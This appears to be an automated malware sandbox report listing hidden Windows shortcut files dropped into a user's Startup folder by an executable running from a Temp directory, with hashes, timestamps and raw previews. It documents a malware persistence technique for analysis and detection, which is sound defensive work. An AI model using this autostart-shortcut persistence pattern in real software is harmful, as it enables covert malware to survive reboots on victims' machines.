Preview:	L..................F...."...]W%.{....Eg.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67803ef73c8d447c83dcba6f35aa2439.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938411585054941
Encrypted:	false
SSDEEP:	24:8RhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hn0R6rMhpBoUBxdRd1nYyg
MD5:	2BD19C8EFFD18CD600096C72A769DD99
SHA1:	57F8520156B576FF6741AFB1C2B3D12DB94FF599
SHA-256:	A1A87F6E28252245FC1FBE57357883FA3BEDD5C913489CB71ADAC300D016C272
SHA-512:	E62E9EA7753055CD0E892746EB53643303D50454DD2598AE883D72F95F4A593C25DCADB9A47C71BEB954DCCB8F46C7147672B8AB588B143B679AA01D917C0363
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679525ade986477cadd488d1cf258f6b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93765849873576
Encrypted:	false
SSDEEP:	24:8VhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FR0R6rMhpBoUBxdRd1nYyg
MD5:	498A1826AF6F9243A59B79841A340FB6
SHA1:	D5BDB4CF6700B369E333611CF2C3A22790FE3B9E
SHA-256:	2C6B598562F3A3499829E087FB47512BB210AA653CAB959BB59D631B66C8564B
SHA-512:	DB40D32588AF2B6623EBD2FA935BFE2EC06E0C44FA44DDD8E6965E88E1865A890846A2CAFF7A9A7E5C0FCE97B98BCA1AF85B8DD7750056D5D6C365F35DF71E14
Malicious:	false
Preview:	L..................F...."...]W%.{...X...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679e8de7d3a34ad597130b0e269ae80f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941094740612313
Encrypted:	false
SSDEEP:	24:8aQhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TF0R6rMhpBoUBxdRd1nYyg
MD5:	1F4F0413B91EE6B436DCCE0071B259DB
SHA1:	3E8526B16C7A3B102E975C1A69FD6E9BF0C61EE9
SHA-256:	CEC32E4722DE6E645ABCA925C36FEDE744D5F949E0A47CA901275FCBAE887C49
SHA-512:	1583086DF2DCBF774BFDBFC7C9A69983CE7193EC1A623175D19AACE3F311F68AA608CA21693FCE5C31E24C40885D5D40A5C024D9C8B3ECEE4DE3D047A16BB9FE
Malicious:	false
Preview:	L..................F...."...]W%.{....`..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_67df0d264bb04073afa212263b233b70.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:88hBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Om0R6rMhpBoUBxdRd1nYyg
MD5:	A6378785CD067A831346F5042CDC1D95
SHA1:	A7889E5350084A8E24F58D8AF8D0C4B43CA1F9B4
SHA-256:	3E547176ECE0F82DA3AA06FCCEF5A665ABD3228FFB866D2DB28A57C1157F50ED
SHA-512:	D283EB6A619A198DDF52F6EE16EAD87328B9347B2E74D9FE2745A7F31E25A5BCE6A9FF35274E802404AA02043F88955930BAA84DF9A3DABE3CD3AE53CF45305E
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_682c9f35c053405d9c3e88346d744a81.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9390829177927955
Encrypted:	false
SSDEEP:	24:8uhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kp0R6rMhpBoUBxdRd1nYyg
MD5:	B68DB77882A1571968BB5D59781C7DB6
SHA1:	E82C8EB0E6386FCEF7391F38CC4623CAA1B46886
SHA-256:	97854B7E94ABA92A00036D3AC499E90BAC4A1F1D6B8D31DC184100AE4E12DB48
SHA-512:	BFD125158BA0F8DCA9C80F8019F531D986A8C414AB8143E7D49CFAE6D3FF8331F5C5744938645A3F6E38378B9A080EBF32D255130365A1C9196C7F1A0FC2B7DC
Malicious:	false
Preview:	L..................F...."...]W%.{...4I..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68b50efd559f4c099329a8ed7a2e5c2e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943843124294043
Encrypted:	false
SSDEEP:	24:87hBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/W0R6rMhpBoUBxdRd1nYyg
MD5:	C478321B6FDDA75669618FFC37752DB1
SHA1:	1E6BDB2C7FF86B9C391DEF87F01E7B44EB6D05DA
SHA-256:	A4CAF53E60E52BA04792FB254477641148BD926C660EEB52AE5C3C1B413C8835
SHA-512:	D2017FEAD01662A04C0AD08BAA906A497FB4733B7413DB26EA97180729A70CB556F9D58B2325C23400955B398A46B3D575656A698B9092DF167468E080DD84FE
Malicious:	false
Preview:	L..................F...."...]W%.{...j.'.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....g).\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68f3363f0d3342ef970448aa4e9c6472.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933846455364067
Encrypted:	false
SSDEEP:	24:8NhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ts0R6rMhpBoUBxdRd1nYyg
MD5:	1085D6D90EC5BAB662A91FED587B4EF8
SHA1:	36BEDC8E4A2916567AE048C7FAA5A3121FC00A7C
SHA-256:	0968819198D905EDA79E5AD77E596F595E126E30ABB91E92706BD6032ABCC9E9
SHA-512:	6A1231948339EED57A2480FFC10B55173ED7CADEA95AB7F5F06E5B7DDF294816178D209C4B5402F9B5AB6D5AE727CFE96DC60B43DBBBC38FA22C8384D5681E0D
Malicious:	false
Preview:	L..................F...."...]W%.{...(...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69b43f08d0f845cc9daa871e5c43bb26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938380806285038
Encrypted:	false
SSDEEP:	24:8YdGhBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YKa0R6rMhpBoUBxdRd1nYyg
MD5:	5940569DA5780FBF11816E91B3341266
SHA1:	9C4D9BE1CFD19B6A0B79BB441096E1801FA16B47
SHA-256:	76B8C9727E8A5B46453E7310CB058A3262D681EE7AEFB2344E1E1D8804312C48
SHA-512:	B25964465EC0B6AE8F459723E7FF6D5EA34BE7FF872F207AAA4F2FC9421E2B4008FA6813A90A969E7474A31B0992ECF875603FB8FEE2754A2D9C54088544E413
Malicious:	false
Preview:	L..................F...."...]W%.{.....~.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69b56b59db19469c9aca224c1c65dc6b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938012915784751
Encrypted:	false
SSDEEP:	24:8+2hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pd0R6rMhpBoUBxdRd1nYyg
MD5:	C8473E05A520DF37F56C688B2C53EC8A
SHA1:	27E3C91B9B7F846BE0AA57794BCEB82F6CED2CC5
SHA-256:	E57539601FBAEFD1AF341B081B3CD85E5614935366C95D8F1FF1EED63BBD4B92
SHA-512:	5240B24A04FBE41FE851ECF05BC2F0F09F04744ADFC221970BBBE859EB85855759596C0ACEF0775E1AB2D596C007955C0E27AEF0280893D595589FB88867C6A2
Malicious:	false
Preview:	L..................F...."...]W%.{...K@&.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69f2d18ba48e412c87c8e9849481ef8c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937138595241676
Encrypted:	false
SSDEEP:	24:8BhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xC00R6rMhpBoUBxdRd1nYyg
MD5:	381D743B555FA7DBD59FF2959055D707
SHA1:	EE0F263BB165705FC1ED950060721CAF43F7E41C
SHA-256:	8321DE2962CE282528AC5BD3B8ED4873F4CDD64AE4C469750A882680518E7A30
SHA-512:	84B3D8F0FF967354D7FD9571397F91F623B4E8EE9D3ADF4B5B4271DFF7A2C0CA6A05A4127E01F6CE84E90A1BC394D34835B8E55331CB5FF5C4B59C8CADC5A808
Malicious:	false
Preview:	L..................F...."...]W%.{....k..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a11f0b37c434a669858bc52b949cbbe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935609663529332
Encrypted:	false
SSDEEP:	24:8xhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BC00R6rMhpBoUBxdRd1nYyg
MD5:	5662AB0A2215248D6A30AAEAC237654D
SHA1:	8D70CECA503F84F08A31EED673AC7286DA51AB5F
SHA-256:	F93466ADF8804B7EADAA98417AC62B4E96E50F2A912BB803244AEDC6528428A7
SHA-512:	9F9919B4D65132198EB1FCCED518C02FE224AD72A6B41D3A70BCF171425663E51EDB5AD05AC39B02AB119D3FE0C427A07CCF6D963E0787339721B5E7B02704AA
Malicious:	false
Preview:	L..................F...."...]W%.{...;...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a68eddae1914e31a709071f6abc223a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9373373287123234
Encrypted:	false
SSDEEP:	24:8ihBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8IY0R6rMhpBoUBxdRd1nYyg
MD5:	9A53C5314DFF8A58717DC27BC6B72074
SHA1:	86B7105FBD240C84BAD6AB6050866763DED5764B
SHA-256:	3B8EC17BC53D934A63C3BB98AAD02765C3AC5A4BFB783D754C815C3EB5AF77D4
SHA-512:	AD426AA95BD3B2AF63410865A6173F71AE4218E26303F042A19902D763F72FDA0D1F4421D19B6B8204E5ED107A2E903C1282E120999C1B19CC3369C0D2726153
Malicious:	false
Preview:	L..................F...."...]W%.{....+..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...:...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a74ec871a274b5188422fc8cbb4018b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052346
Encrypted:	false
SSDEEP:	24:8qhBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8AaF0R6rMhpBoUBxdRd1nYyg
MD5:	8437D45365FE0B4589686772390D0D3D
SHA1:	26537AD419BC0C1490F454F86FBC9F9AD94ADF13
SHA-256:	F89D04623AA0EC30F542DDB37161B71E4C02686D265BE12ACD3E7E99799A0C4B
SHA-512:	EA28A845576A8AA41749E5E7714AEAB3CD218C8B59C1FF040CEBAE3A13DCBC288272E35F4341BDF3150D3B4D4C370467EF28C2FD02ADE8802ACAFD4B05909394
Malicious:	false
